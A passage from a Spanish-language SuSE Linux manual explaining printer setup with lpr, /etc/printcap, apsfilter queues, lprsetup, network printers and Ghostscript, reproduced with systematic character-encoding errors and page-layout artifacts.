  21370.         lpr Opci≤n              |                -c       -d        -g       -n       -f       -t       -v
  21371.  
  21372.       Estas  opciones  se  asignan  por  costumbre3   a  unos  formatos  especiales,
  21373.       pero lo realmente necesario es la asignaci≤n de la opci≤n lpr  con la en-
  21374.       trada en /etc/printcap 4 .)  Para poner un ejemplo,  if=    denomina el
  21375.       filtro estßndar y df=    el filtro para ficheros del tipo DVI (el producto de
  21376.       TEXyALTEX). Asφ se podrφa definir un filtro DVI propio para el LaserJet 4,
  21377.       usando la entrada que figura en el fichero 12.3.1 en la pßgina siguiente.
  21378.       Se debe tener el paquete te_dvilj instalado, pero hoy por hoy es mßs
  21379.       recomendable  valerse  del  correspondiente  ''driver''  de  Ghostscript,  que
  21380.       serφa el ljet4     .
  21381. 3      ____________________________________________________
  21382.   Ver la Manpage de lpr.
  21383. 4  p. ej. una ''entrada cero'' al filtro cf=/bin/cat       es permitida y si se da el comando lpr  -c    ,
  21384. se ejecuta fiel a la definici≤n.
  21385.  
  21386.  
  21387.                                                                                                                                    *
  21388.  *   331
  21389. 12.  Impresoras   _________________________________________________________________________________________________________________*
  21390.  *_______________________________________@
  21391.  
  21392.                            ________________________________________________________________________________________________________*
  21393.  *________
  21394.                            | df="/usr/bin/dvilj4  -e-  -"                                                                          *
  21395.  *         |
  21396.                            |_______________________________________________________________________________________________________*
  21397.  *________ |
  21398.                                      Fichero 12.3.1: Definici≤n de un filtro DVI en /etc/printcap
  21399.  
  21400.  
  21401.  
  21402.                            apsfilter
  21403.  
  21404.                            El  paquete  aps  ofrece  con  el  apsfilter  un  filtro  muy  confortable.   apsfilter
  21405.                            aprovecha las siguientes circunstancias:
  21406.  
  21407.                              o   El  formato  del  fichero  de  impresi≤n  estßndar  en  el  mundo  de  Unix  es
  21408.                                  PostScript.
  21409.                              o   Existe una serie de herramientas que convierten otros formatos de texto
  21410.                                  y  de  imßgenes  en  PostScript,  p. ej.  dvips  para  ficheros  DVI,  a2ps  para
  21411.                                  ficheros ASCII y el paquete netpbm, serie gra para grßficos, etc.
  21412.                              o   Existe  tambiΘn  el  potente  programa  Ghostscript ,  capaz  de  convertir
  21413.                                  ficheros  de  PostScript  en  una  multitud  de  formatos  especiales  para  im-
  21414.                                  presoras que no son PostScript (en cierta manera es como una colecci≤n
  21415.                                  amplia de drivers de impresora).
  21416.  
  21417.                            apsfilter  reune todos estos programas junto con las herramientas necesarias
  21418.                            para el reconocimiento del formato (file ) y la descompresi≤n. Seg·n el forma-
  21419.                            to que apsfilter reconoce, pasa los datos de entrada por todas las herramientas
  21420.                            necesarias hasta conseguir el flujo de datos correcto, que da como resultado
  21421.                            la impresi≤n correcta.
  21422.  
  21423.                            El script principal /var/lib/apsfilter/apsfilter indica los siguientes
  21424.                            formatos de fichero y tipos de compresi≤n soportados:
  21425.  
  21426.                              o   ASCII,  DVI,  PS,  Data  (PCL,. . . ),  GIF,  TIFF,  PBM,  Sun  Raster,  X11-
  21427.                                  Bitmap
  21428.                              o   Tipos de compresi≤n: compress        , gzip    , freeze
  21429.  
  21430.  
  21431.                            Las colas de impresi≤n de apsfilter
  21432.  
  21433.                            El programa apsfilter ofrece las siguientes colas de impresi≤n para una com-
  21434.                            putadora local:
  21435.  
  21436.                            lp    ~ Cola estßndar para todos los formatos de fichero.
  21437.                            lp-mono        ~ Se genera para las impresoras de color en concepto de imprimir
  21438.                                  en blanco y negro; procesa todos los formatos de ficheros igual a lp  .
  21439.                            ascii       ~  Para  imprimir  ficheros  como  texto  ASCII,  aunque  el  sistema  de
  21440.                                  ''spooling'' reconozca otro formato5 .
  21441.                            raw     ~ Para imprimir ficheros que ya tienen el formato especφfico de la im-
  21442.                                  presora: no habrß ninguna conversi≤n.
  21443.  
  21444.                            Es posible definir impresoras locales adicionales. Los nombres de las colas ll-
  21445.                            evarφan entonces el nombre del correspondiente ''driver'' de Ghostscript como
  21446.                            distintivo;  con  el  ''driver''  djet500       serφa  djet500-ascii           ,  djet500-raw          ,
  21447.                            etc.
  21448.  
  21449.                            Ficheros- ASCII: En el fichero /etc/apsfilterrc                estß previsto realizar el
  21450.                            filtrado_del_siguiente_modo:_________________
  21451.                            5 p. ej.cuando existen diΘresis en el texto.
  21452.  
  21453.  
  21454. 332
  21455.        ____________________________________________________________________12.3.__Filtros_de_impresi≤n_~_el_''apsfilter''__________*
  21456.  *______________________
  21457.  
  21458.  
  21459.  
  21460.   o   convertir ficheros-ASCII con a2ps a PostScript;
  21461.   o   Formato de a2ps : Imprimir el contenido de 2 pßginas en ASCII a una sola
  21462.       pßgina apaisada.
  21463.  
  21464. Si  se  modifica  la  variable  FEATURE  es  posible  variar  el  formato  de  impre-
  21465. si≤n. Los valores que figuran en los comentarios de /etc/apsfilterrc                son
  21466. vßlidos.  Para  suprimir  por  completo  la  conversi≤n  a  PostScript  e  imprimir
  21467. directamente en el modo ASCII de la impresora, se debe quitar el sφmbolo de
  21468. comentario #  al comienzo del comando USE_RECODE_NOT_A2PS=yes                      y por
  21469. supuesto, tener el paquete recode, serie ap instalado.
  21470.  
  21471.  
  21472. apsfilter: Configuraci≤n
  21473.  
  21474. Se puede configurar el apsfilter con YaST o con el script SETUP (lprsetup        )
  21475. a base de men·s.
  21476.        _______________________________________________________________________________________________________________________||
  21477.        ||||||||  La  configuraci≤n  solo  trabaja  correctamente  cuando  no  se  modifican  las                |||            |
  21478.        ||||||||                                                                                                 ||             |
  21479.        ||||||||  indicaciones dadas como comentario al comienzo y al final de las entradas                      ||             |
  21480.        ||||||||  para  el  apsfilter  en  el  fichero  /etc/printcap  (ver  fichero  12.3.2  en  la             ||             |
  21481.        ||||||||                                                                                                 ||             |
  21482.        ||||||||  pßgina siguiente).                                                                             ||             |
  21483.        ||||||||_______________________________________________________________________________________________________________||_
  21484.  
  21485.  
  21486. Configuraci≤n con YaST
  21487.  
  21488. Configurar la impresora con YaST  representa la vφa normal para la primera
  21489. instalaci≤n.   Si  ya  hay  una  configuraci≤n  del  apsfilter ,  YaST  pregunta  al
  21490. comienzo  si  la  nueva  configuraci≤n  debe  reemplazar  a  la  antigua  o  si  se
  21491. debe  a±adir.   El  proceso  que  se  lleva  a  cabo  despuΘs  ya  fue  explicado  en
  21492. el apartado 3.7.1 en la pßgina 103Configurar impresorassubsection.3.7.1.
  21493.  
  21494. Cuando se instala la nueva configuraci≤n, se llevan a cabo los siguientes pasos
  21495. (da igual si se ha usado YaST  o lprsetup        para realizarla):
  21496.  
  21497.   o   Definici≤n de la nuevas colas de impresi≤n en /etc/printcap (ver en la
  21498.       pßgina anterior).
  21499.  
  21500.   o   Generaci≤n  de  los  directorios  ''spool''  para  las  colas  en  /var/spool/
  21501.       lpd/.
  21502.  
  21503.   o   Generaci≤n  de  los  filtros  correspondientes  en  /var/lib/apsfilter/
  21504.       bin/ (se generan enlaces simb≤licos al fichero /var/lib/apsfilter/
  21505.       apsfilter).
  21506.  
  21507.   o   Generaci≤n del fichero global de configuraci≤n /etc/apsfilterrc                (si
  21508.       este a·n no existe) y de un fichero de configuraci≤n especφfico de la im-
  21509.       presora
  21510.       /etc/apsfilterrc.<gs_mode>                          .  La variable <gs`mode> representa
  21511.       el nombre de impresora en Ghostscript, p. ej.  bjc800      como en el ejemplo
  21512.       dado.
  21513.  
  21514. El fichero 12.3.2 en la pßgina siguiente, muestra un ejemplo para las nuevas
  21515. entradas de una cola de impresi≤n para la Canon BubbleJet 800.
  21516.  
  21517. El contenido de las tres entradas es completamente igual, por lo tanto se han
  21518. abreviado un poco.  Definen el dispositivo (lp=   ), el directorio ''spool'' (sd=   ),
  21519. el fichero de registro (ingl. Log-file) (lf=   ), el fichero de liquidaci≤n (af=   ) y
  21520.  
  21521.  
  21522.                                                                                                                                    *
  21523.  *   333
  21524. 12.  Impresoras   _________________________________________________________________________________________________________________*
  21525.  *_______________________________________@
  21526.                            |                                                                                                       *
  21527.  *         |
  21528.                            ________________________________________________________________________________________________________*
  21529.  *________||||
  21530.                            | ###  BEGIN  apsfilter:  ###  bjc800  a4  mono  360  ###                                               *
  21531.  *         |
  21532.                            ||#     Warning:  Configured  for  apsfilter,  do  not  edit  the  labels!                              *
  21533.  *         ||
  21534.                            | #                     apsfilter  setup  Thu  Sep  18  11:40:40  MEST  1997                            *
  21535.  *         |
  21536.                            | #                                                                                                     *
  21537.  *         |
  21538.                            | ascii|lp1|bjc800-a4-ascii-mono-360|bjc800  a4  ascii  mono  360:\                                     *
  21539.  *         |
  21540.                            |                                                                                                       *
  21541.  *         |
  21542.                            |               :lp=/dev/lp0:\                                                                          *
  21543.  *         |
  21544.                            |               :sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\                                           *
  21545.  *         |
  21546.                            |                                                                                                       *
  21547.  *         |
  21548.                            |               :lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\                                       *
  21549.  *         |
  21550.                            |               :af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\                                      *
  21551.  *         |
  21552.                            |                                                                                                       *
  21553.  *         |
  21554.                            |               :if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\                                   *
  21555.  *         |
  21556.                            |               :la@:mx#0:\                                                                             *
  21557.  *         |
  21558.                            |               :sh:sf:                                                                                 *
  21559.  *         |
  21560.                            |                                                                                                       *
  21561.  *         |
  21562.                            | #                                                                                                     *
  21563.  *         |
  21564.                            | lp|lp2|bjc800-a4-auto-mono-360|bjc800  a4  auto  mono  360:\                                          *
  21565.  *         |
  21566.                            |                                                                                                       *
  21567.  *         |
  21568.                            | #     [  ...  abreviado  ...  ]                                                                       *
  21569.  *         |
  21570.                            | #                                                                                                     *
  21571.  *         |
  21572.                            |                                                                                                       *
  21573.  *         |
  21574.                            | raw|lp3|bjc800-a4-raw|bjc800  a4  raw:\                                                               *
  21575.  *         |
  21576.                            | #     [  ...  abreviado  ...  ]                                                                       *
  21577.  *         |
  21578.                            |                                                                                                       *
  21579.  *         |
  21580.                            | #                                                                                                     *
  21581.  *         |
  21582.                            | #                                                                                                     *
  21583.  *         |
  21584.                            |                                                                                                       *
  21585.  *         |
  21586.                            | ###  END     apsfilter:  ###  bjc800  a4  mono  360  ###                                              *
  21587.  *         |
  21588.                            |_______________________________________________________________________________________________________*
  21589.  *________ |
  21590.  
  21591.                                             Fichero 12.3.2: Colas de apsfilter en /etc/printcap
  21592.  
  21593.  
  21594.  
  21595.                            el filtro estßndar (if=   ).  Se suprime la portada al principio (sh  ) y la pßgina
  21596.                            separadora (sf  ) (ingl. formfeed) al final de la tarea.
  21597.  
  21598.  
  21599.                            Configuraci≤n con SETUP  (lprsetup        )
  21600.  
  21601.                            El paquete aps contiene el programa de configuraci≤n SETUP  /var/lib/
  21602.                            apsfilter/SETUP, que se puede iniciar fßcilmente con lprsetup        .  Ofrece
  21603.                            los siguientes servicios:
  21604.  
  21605.                              o   Listado de todas las impresoras configuradas con apsfilter
  21606.                              o   A±adir y quitar impresoras configuradas con apsfilter
  21607.  
  21608.                            A  la  hora  de  a±adir  impresoras  locales  el  comando  lprsetup       ,  hace  (casi)
  21609.                            lo  mismo  que  YaST .  lprsetup        tambiΘn  es  capaz  de  generar  y  borrar  co-
  21610.                            las  de  impresi≤n  en  mßquinas  remotas  (''cola  de  impresi≤n  remota'',  ver
  21611.                            el  fichero  12.2.2  en  la  pßgina  330/etc/printcap            :   Configuraci≤n  de  las
  21612.                            colasHfootnote.56) y puede efectuar un ''pre-filtrado'' para impresoras de red.
  21613.  
  21614.                            lprsetup        funciona a base de men·s y su uso ~ despuΘs de haberse acostum-
  21615.                            brado ~ es c≤modo y fßcil.
  21616.  
  21617.                             1.   Ejecutar lprsetup       :
  21618.                                       tierra:  #  lprsetup
  21619.  
  21620.                                  Si se trabaja con el sistema X Window en una xterm      y se tiene proble-
  21621.                                  mas para reconocer las letras (p. ej.  por tener amarillo sobre gris claro),
  21622.                                  se puede iniciar lprsetup         en una consola de texto.  Aparecerß una pan-
  21623.                                  talla de bienvenida que explica_el_proceso de la definici≤n de impresoras
  21624.                                  nuevas con apsfilter . Con |_____-|pasamos al men· principal:
  21625.  
  21626.  
  21627. 334
  21628.       ____________________________________________________________________12.3.__Filtros_de_impresi≤n_~_el_''apsfilter''___________*
  21629.  *_____________________
  21630.  
  21631.  
  21632.                     EXIT               Exit apsfilter setup
  21633.  
  21634.                     LISTING            List all apsfilter entries
  21635.                     ENTRY              Add/Overwrite/Delete an apsfilter entry
  21636.                     DELETE             Fast delete an apsfilter entry
  21637.  
  21638.      Para seleccionar uno_de_los campos con las respuestas `OK' o `Cancel'         _
  21639.      se usa la tecla |T____a|b; para pasar por las opciones en las listas se usa |#_ |y
  21640.       ||_|_".
  21641.  
  21642.      `EXIT'       ~ Finalizar lprsetup       .
  21643.  
  21644.      `LISTING'          ~ Listado de todas las colas existentes.
  21645.  
  21646.      `ENTRY'        ~ Una impresora nueva se a±ade con la opci≤n de men· `EN-
  21647.          TRY'. Esta conduce al sub-men· `Choose  your  printer  defini-
  21648.          tion' para la definici≤n de la impresora.
  21649.  
  21650.      `DELETE'         ~ Para borrar una impresora del apsfilter  se pulsa `DELETE'
  21651.          y de este modo se obtiene una lista con todas las impresoras apsfilter
  21652.          disponibles.
  21653.  
  21654. 2.   Seleccionar  `ENTRY';  aparecerßn  las  mismas  preguntas  que  en  la  con-
  21655.      figuraci≤n con YaST . La primera es sobre el `DEVICE' (interfaz) ; para
  21656.      una impresora local en el puerto paralelo se responde a esta pregunta con
  21657.      /dev/lp0, si es que trabaja con un kernel 2.2.xx.
  21658. 3.   A continuaci≤n aparece lo siguiente:
  21659.  
  21660.                       RETURN                    Back to previous menu
  21661.                       DEVICE                    Change printer interface
  21662.                       PRINTER                   Which printer driver
  21663.                       PAPER                     Which paper type
  21664.                       COLOR                     Monochrome/colorfull
  21665.                       SPECIAL                   Settings for your printer
  21666.                       RESET                     Reset the printer definition
  21667.                       ADD                       Add the printer definition
  21668.                       OVERWRITE                 Overwrite the printer definition
  21669.                       DELETE                    Delete the printer definition
  21670.  
  21671.      `DEVICE'         ~ Esta opci≤n ya ha sido mencionada.
  21672.  
  21673.      `PRINTER'          ~ Aquφ se selecciona la denominaci≤n correcta de Ghostscript,
  21674.          lo cual se realiza en dos pasos:
  21675.  
  21676.        (a)   Primero se selecciona el tipo de impresora entre:
  21677.             o   `PostScript'
  21678.             o   `HEWLETT-PACKARD' (HP Deskjets)
  21679.             o   `OTHER' (otros, sin capacidad de PostScript)
  21680.             o   `FREEDEF' (definici≤n libre)
  21681.        (b)   Para el caso de impresoras que son realmente PostScript solo hace
  21682.              falta indicar la resoluci≤n en un cuadro de dißlogo. En los demßs ca-
  21683.              sos, aparecerß bajo la opci≤n `COMMIT', la lista de todos los drivers
  21684.              posibles de Ghostscript.  Antes de decidirse por un driver determi-
  21685.              nado, se puede consultar el apartado 12.6 en la pßgina 340Listado
  21686.              de las impresoras soportadassection.12.6. DespuΘs de esta selecci≤n
  21687.              vendrß la pregunta sobre la resoluci≤n de la impresora.  Con `RE-
  21688.              TURN' se puede volver al nivel superior del men·.
  21689.  
  21690.  
  21691.                                                                                                                                    *
  21692.  *  335
  21693. 12.  Impresoras   _________________________________________________________________________________________________________________*
  21694.  *_______________________________________@
  21695.  
  21696.  
  21697.  
  21698.                                  `PAPER'        ~ El formato de papel.
  21699.                                  `COLOR'        ~ Impresi≤n en color o blanco y negro.
  21700.  
  21701.  
  21702.                                  `SPECIAL'          ~ Estas indicaciones generalmente no se necesitan.
  21703.  
  21704.                             4.   Se  encuentra  otra  vez  en  el  men·  `Choose  your  printer  defini-
  21705.                                  tion'.  En caso de haberse equivocado con alguna definici≤n se puede
  21706.                                  volver a los distintos sub-men·s y corregirlo.
  21707.  
  21708.                             5.   Importante:  Pulsando `ADD' la definici≤n de la impresora finalmente se
  21709.                                  activa.
  21710.  
  21711.  
  21712.                            Lea  p. ej. con less    6   el fichero /etc/printcap para identificar el nombre de
  21713.                            la nueva cola de impresi≤n. Cada cola de impresi≤n tiene varios nombres: hay
  21714.                            algunos explφcitos que permiten reconocer la definici≤n de impresora y otros
  21715.                            cortos por razones de comodidad (ver fichero 12.3.2 en la pßgina 334Config-
  21716.                            uraci≤n con YaST  Hfootnote.59). Aparte de esto lp  , lp-mono       , ascii      y raw
  21717.                            son las colas de la primera impresora local.
  21718.  
  21719.  
  21720.  
  21721.                            Los ficheros de configuraci≤n apsfilterrc
  21722.  
  21723.                            Los  ficheros  /etc/apsfilterrc*                ofrecen  la  posibilidad  de  controlar  con
  21724.                            mßs  exactitud  determinados  detalles  del  trabajo  de  los  scripts  del  apsfilter ,
  21725.                            usando variables de la shell. Durante la instalaci≤n se generan por defecto los
  21726.                            siguientes:
  21727.  
  21728.  
  21729.                              o   un fichero global /etc/apsfilterrc               ,
  21730.  
  21731.                              o   ficheros especφficos de impresora /etc/apsfilterrc.<gs_mode>                           en
  21732.                                  las que <gs`mode> indica el nombre del ''driver'' de Ghostscript (p. ej.
  21733.                                  para el Canon BubbleJet 800: /etc/apsfilterrc.bjc800                     ).
  21734.                            ________________________________________________________________________________________________________*
  21735.  *________||
  21736.                            |  Los ficheros instalados por defecto incluyen entradas de ejemplo para to-                            *
  21737.  *        ||||
  21738.                            |                                                                                                       *
  21739.  *        |||
  21740.                            |  das las variables.  El fichero global /etc/apsfilterrc                contiene explica-              *
  21741.  *        |||
  21742.                            |  ciones concretas sobre todas las variables; se recomienda mirarlo ;-)                                *
  21743.  *        |||
  21744.                            |_______________________________________________________________________________________________________*
  21745.  *________|||_
  21746.  
  21747.                            Las  variables  contenidas  en  los  ficheros  de  impresoras  son  las  mismas  que
  21748.                            las del fichero global /etc/apsfilterrc               , y para facilitar su identificaci≤n
  21749.                            estßn enumeradas.
  21750.  
  21751.                            Para cada tarea de impresi≤n, apsfilter lee primero el fichero de configuraci≤n
  21752.                            global  y  despuΘs  el  especφfico  de  la  impresora,  por  lo  que  las  definiciones
  21753.                            del ·ltimo fichero son las decisivas.  De este modo, existe la posibilidad de
  21754.                            hacer definiciones estßndar en /etc/apsfilterrc                (p. ej.  para la resoluci≤n
  21755.                            de impresi≤n) y reemplazarlas con valores especiales para determinadas im-
  21756.                            presoras.  Las modificaciones en los ficheros apsfilterrc se activan de in-
  21757.                            mediato.
  21758.  
  21759.                            No se quiere reflejar aquφ todo el fichero /etc/apsfilterrc               , pero se pre-
  21760.                            sentan las variables de uso mßs frecuente:
  21761.                            _____________________________________________6
  21762.                               El  uso  de  less   se  explica  en  el  apartado  19.7.3  en  la  pßgina  474El  contenido  de  los
  21763.                            ficherossubsection.19.7.3.
  21764.  
  21765.  
  21766. 336
  21767.        __________________________________________________________________________12.4.__Impresoras_de_red_con_apsfilter____________*
  21768.  *______________________
  21769.  
  21770.  
  21771.  
  21772.   o   FEATURE        y  USE_RECODE_NOT_A2PS                   determinan  c≤mo  filtrar  ficheros
  21773.       ASCII  (ya  se  explic≤  en  la  en  la  pßgina  332Las  colas  de  impresi≤n  de
  21774.       apsfilterHfootnote.58).
  21775.  
  21776.   o   REMOTE_PRINTER              se necesita para pre-filtrar las tareas de impresi≤n en
  21777.       la red. Si la variable estß en true    , las tareas de la cola local se pasan a la
  21778.       cola especial remote      despuΘs de haber pasado por el filtro. Si se anota un
  21779.       valor diferente a true    , Θste se interpreta como el nombre de la impresora
  21780.       remota (ver apartado 12.4).
  21781.  
  21782.   o   PRINT_RAW_SETUP_PRINTER                      estß pensado para una secuencia con ''Es-
  21783.       cape'' para la inicializaci≤n de la impresora en la cola raw   .  El contenido
  21784.       de la secuencia se manda a la impresora antes de cualquier tarea de im-
  21785.       presi≤n del tipo raw   .  /etc/apsfilterrc                contiene un ejemplo y expli-
  21786.       caciones sobre la sintaxis.
  21787.  
  21788.   o   GS_RESOL        permite usar el filtro Ghostscript con una resoluci≤n diferente
  21789.       a la inicialmente prevista para la impresora.
  21790.  
  21791.   o   DO_ACCOUNTING             debe tener el valor yes    para que se genere un fichero de
  21792.       ''accounting''. A su vez, el fichero /etc/printcap debe tener la entrada
  21793.       :la@:      en lugar de :la:     (asφ se genera correctamente el fichero indicado
  21794.       bajo af    (ingl. accounting file)).  Para utilizar esta caracterφstica se debe
  21795.       emplear plp , asφ que se debe cambiar el paquete lrpold por el paquete
  21796.       plpn.
  21797.  
  21798. Configuraci≤n personalizada:  La versi≤n de apsfilter  de SuSE     Linux acepta
  21799. tambiΘn  un  fichero  ~/.apsfilterrc  personal  en  el  directorio  de  usuario.
  21800. Este  es  analizado  despuΘs  de  los  ficheros  globales  apsfilterrc  y  por  lo
  21801. tanto se pueden suprimir los ajustes globales.  Por razones de seguridad ~ el
  21802. fichero se eval·a con los derechos del daemon de impresi≤n que estß en ejecu-
  21803. ci≤n ~ solo se tienen en cuenta aquellas instrucciones que implican un cambio
  21804. de valor a las siguientes variables:  TEXINPUTS        , PRINT_DVI        , GS_FEATURES          ,
  21805. USE_RECODE_NOT_A2PS                  , FEATURE       , A2PS_OPTS         , DVIPS_MODE         , GS_RESOL        7 .
  21806. Las demßs instrucciones se ignoran.
  21807.  
  21808. Si realmente se necesita un fichero de configuraci≤n personal HOME/.apsfilterrc               ,
  21809. se debe copiar uno de los ficheros apsfilterrc (que valen para todo el sis-
  21810. tema) al directorio personal y modificarlo seg·n necesidad.
  21811.  
  21812.  
  21813.  
  21814. 12.4        Impresoras de red con apsfilter
  21815.  
  21816. El sistema ''spooling'' BSD considera una impresora de red (con tarjeta de red
  21817. propia)  como  un  host  remoto  con  colas  de  impresi≤n  propias  (los  nombres
  21818. figuran en el manual de la impresora, frecuentemente es LPT1    , etc.).  De este
  21819. modo es posible acceder a ella a travΘs de una cola de impresi≤n remota, p. ej.
  21820. con remote      , desde la computadora local.
  21821.  
  21822. Se presenta una cierta complicaci≤n a la hora de filtrar las tareas de impresi≤n
  21823. ya  que  el  daemon  de  impresi≤n  lpd  (paquete  lprold)  nunca  hace  un  pre-
  21824. filtrado para colas remotas y ademßs ignora las indicaciones sobre filtros en
  21825. el fichero /etc/printcap.  Por lo tanto, las tareas para la cola remote       ya
  21826. deben incluir_datos_especφficos_de_la_impresora.__Esto_se_consigue_mediante
  21827. 7 Ver la variable allowed en /var/lib/apsfilter/apsfilter.
  21828.  
  21829.  
  21830.                                                                                                                                    *
  21831.  *   337
  21832. 12.  Impresoras   _________________________________________________________________________________________________________________*
  21833.  *_______________________________________@
  21834.  
  21835.  
  21836.  
  21837.                            un ''pre-filtrado'' usando la caracterφstica ''bypass'' de la versi≤n de SuSE     del
  21838.                            apsfilter .
  21839.  
  21840.                            Si se desea usar YaST  para la configuraci≤n, se tiene que intervenir manual-
  21841.                            mente, por lo cual es preferible usar lprsetup        para mayor comodidad. En tal
  21842.                            caso, se inicia lprsetup        como se ha explicado en el apartado 12.3 en la pßgi-
  21843.                            na 334Configuraci≤n con SETUP  (lprsetup        )Hfootnote.59 y a continuaci≤n
  21844.                            vendrß  la  pregunta  sobre  el  `DEVICE'  (ver  en  la  pßgina  335Configuraci≤n
  21845.                            con SETUP  (lprsetup        )Item.201):
  21846.  
  21847.  
  21848.  
  21849.                                                     PARALLEL               Parallel printer interface
  21850.                                                     SERIAL                 Serial printer interface
  21851.                                                     PREFILTER              to an other queue (bypass)
  21852.                                                     REMOTE                 printer forwarding queue
  21853.  
  21854.  
  21855.                             1.   Se debe configurar primero con `REMOTE' una cola que se refiera al servi-
  21856.                                  dor  remoto  (ingl.  remote  host).  Vendrß  luego  la  pregunta  sobre  el  host
  21857.                                  (servidor) al cual estß conectada la impresora (en este ejemplo sol) y por
  21858.                                  la cola de impresi≤n remota (ingl. remote printer) (generalmente es lp  , no
  21859.                                  obstante, en caso de duda lo mejor es consultar al administrador de red).
  21860.                                  Con esto se finaliza la definici≤n de la cola remota pero hay que estable-
  21861.                                  cerla realmente con `ADD'. . . La entrada en /etc/printcap se parece en
  21862.                                  este momento a la del fichero 12.4.1.
  21863.  
  21864.                            ________________________________________________________________________________________________________*
  21865.  *________||
  21866.                            | remote|lp1|sol-lp|sol  lp:\                                                                           *
  21867.  *         |
  21868.                            |               :lp=:\                                                                                  *
  21869.  *         |
  21870.                            |                                                                                                       *
  21871.  *         |
  21872.                            |               :rm=sol:\                                                                               *
  21873.  *         |
  21874.                            |               :rp=lp:\                                                                                *
  21875.  *         |
  21876.                            |                                                                                                       *
  21877.  *         |
  21878.                            |               :sd=/var/spool/lpd/sol-lp:\                                                             *
  21879.  *         |
  21880.                            |               :lf=/var/spool/lpd/sol-lp/log:\                                                         *
  21881.  *         |
  21882.                            |                                                                                                       *
  21883.  *         |
  21884.                            |               :af=/var/spool/lpd/sol-lp/acct:\                                                        *
  21885.  *         |
  21886.                            |               :ar:bk:mx#0:\                                                                           *
  21887.  *         |
  21888.                            |               :sh:                                                                                    *
  21889.  *         |
  21890.                            |_______________________________________________________________________________________________________*
  21891.  *________ |
  21892.  
  21893.                                               Fichero 12.4.1: /etc/printcap            : Impresora de red
  21894.  
  21895.  
  21896.  
  21897.                             2.   Ahora le toca el turno al ''pre-filtrado local''.  Cuando venga la pregunta
  21898.                                  por  el  `DEVICE',  se  debe  seleccionar  `PREFILTER'  (ingl.  to  an  other
  21899.                                  queue (bypass)).  lprsetup        es ahora lo suficientemente listo como para
  21900.                                  ofrecerle la impresora de red que se acaba de configurar:
  21901.  
  21902.                                       remote    remote=sol  queue=lp
  21903.  
  21904.                                  El resto de la configuraci≤n es equivalente a la de una impresora local (ver
  21905.                                  en la pßgina 335Configuraci≤n con SETUP (lprsetup        )Item.202). Cuan-
  21906.                                  do finalmente se pulse `ADD', se encontrarß aparte de /etc/apsfilterrc
  21907.                                  (ver el fichero 12.3.2 en la pßgina 334Configuraci≤n con YaST Hfootnote.59)
  21908.                                  un fichero adicional denominado /etc/apsfilterrc.<gs_mode>                           con
  21909.                                  la siguiente entrada:
  21910.  
  21911.                                       REMOTE_PRINTER="remote"
  21912.  
  21913.  
  21914. 338
  21915.        ________________________________________________________________________________________________________12.5.__Ghostscript__*
  21916.  *______________________
  21917.  
  21918.  
  21919.  
  21920.       Esta  entrada  hace  referencia  a  la  impresora  de  red.   Cuando  hay  varias
  21921.       impresoras de red, se usan los nombres con los que Θstas se identifican en
  21922.       la red, en lugar de "remote"       8 .
  21923.  
  21924. La figura|12.1|representa|grßficamente una configuraci≤n semejante.                                                            ||
  21925.  
  21926.        _______________________________________________________________________________________________________________________||||
  21927.        ||||||||                                                                                                                |
  21928.        ||||||||                                                                                                                |
  21929.        ||||||||                                                                                                                |
  21930.        ||||||||                                                                                                                |
  21931.        ||||||||                                                                                                                |
  21932.        ||||||||                                                                                                                |
  21933.        ||||||||                                                                                                                |
  21934.        ||||||||                                                                                                                |
  21935.        ||||||||                                                                                                                |
  21936.        ||||||||                                                                                                                |
  21937.        ||||||||                                                                                                                |
  21938.        ||||||||                                                                                                                |
  21939.        ||||||||                                                                                                                |
  21940.        ||||||||                                                                                                                |
  21941.        ||||||||                                                                                                                |
  21942.        ||||||||                                                                                                                |
  21943.        ||||||||                                                                                                                |
  21944.        ||||||||                                                                                                                |
  21945.        ||||||||                                                                                                                |
  21946.        ||||||||                                                                                                                |
  21947.        ||||||||                                                                                                                |
  21948.        ||||||||                                                                                                                |
  21949.        ||||||||                                                                                                                |
  21950.        ||||||||                                                                                                                |
  21951.        ||||||||                                                                                                                |
  21952.        ||||||||                                                                                                                |
  21953.        ||||||||                                                                                                                |
  21954.        ||||||||                                                                                                                |
  21955.        ||||||||                                                                                                                |
  21956.        ||||||||                                                                                                                |
  21957.        ||||||||                                                                                                                |
  21958.        ||||||||                                                                                                                |
  21959.        ||||||||                                                                                                                |
  21960.        ||||||||                                                                                                                |
  21961.        ||||||||_______________________________________________________________________________________________________________ |
  21962.  
  21963.                            Figura 12.1: Impresora de red vφa bypass
  21964. 12.5        Ghostscript
  21965.  
  21966. Si no se dispone de una impresora que funcione con PostScript, Ghostscript
  21967. es  el  programa  mßs  popular  para  hacer  de  filtro  de  impresi≤n.   Este  recibe
  21968. como entrada ficheros en PostScript y,  para su conversi≤n a un formato es-
  21969. pecφfico apto para la impresora, contiene una multitud de drivers.
  21970.  
  21971. Ghostscript es un programa complejo con muchas opciones para la lφnea de
  21972. comandos y se explica en la pßgina del manual de gs   (man  gs     ). Si se ejecuta
  21973. Ghostscript sin ninguna opci≤n, aparecerß un dißlogo con un prompt propio,
  21974. GS>   , del cual se sale con el comando quit    .  En este libro harφa falta mucho
  21975. espacio  para  discutir  sobre  todas  las  opciones  disponibles,  pero  por  suerte,
  21976. tampoco  hace  falta  ya  que  el  apsfilter  se  encarga  de  construir  la  lφnea  de
  21977. comandos, que de no hacerlo, podrφa resultar bastante complicado.
  21978.  
  21979. Solo mencionamos el siguiente comando que resulta realmente ·til,
  21980.  
  21981.       tux@tierra:__>__gs__-h__|__less______________________
  21982. 8  Si se configura con YaST , se debe ''liberar'' esta entrada a mano e indicar /dev/null como
  21983. dispositivo.
  21984.  
  21985.  
  21986.                                                                                                                                    *
  21987.  *   339
  21988. 12.  Impresoras   _________________________________________________________________________________________________________________*
  21989.  *_______________________________________@
  21990.  
  21991.  
  21992.  
  21993.                            y  que  muestra  las  opciones  mßs  usadas  y  ~  íalgo  importante!  ~  la  versi≤n
  21994.                            actual tal como la lista de las impresoras soportadas.  La ·ltima lista en el
  21995.                            momento de imprimir este libro se presenta en el apartado 12.6.
  21996.  
  21997.                            Si se presentan dificultades con la impresora se puede realizar una prueba en
  21998.                            la que se ejecute directamente Ghostscript con un fichero PostScript (.ps) y
  21999.                            se le envφan a la impresora los datos especφficos de la misma.  Hay una serie
  22000.                            de ficheros PostScript en los siguientes directorios:
  22001.                            /usr/share/ghostscript/<n·mero_versi≤n>                 /examples    o    /var/
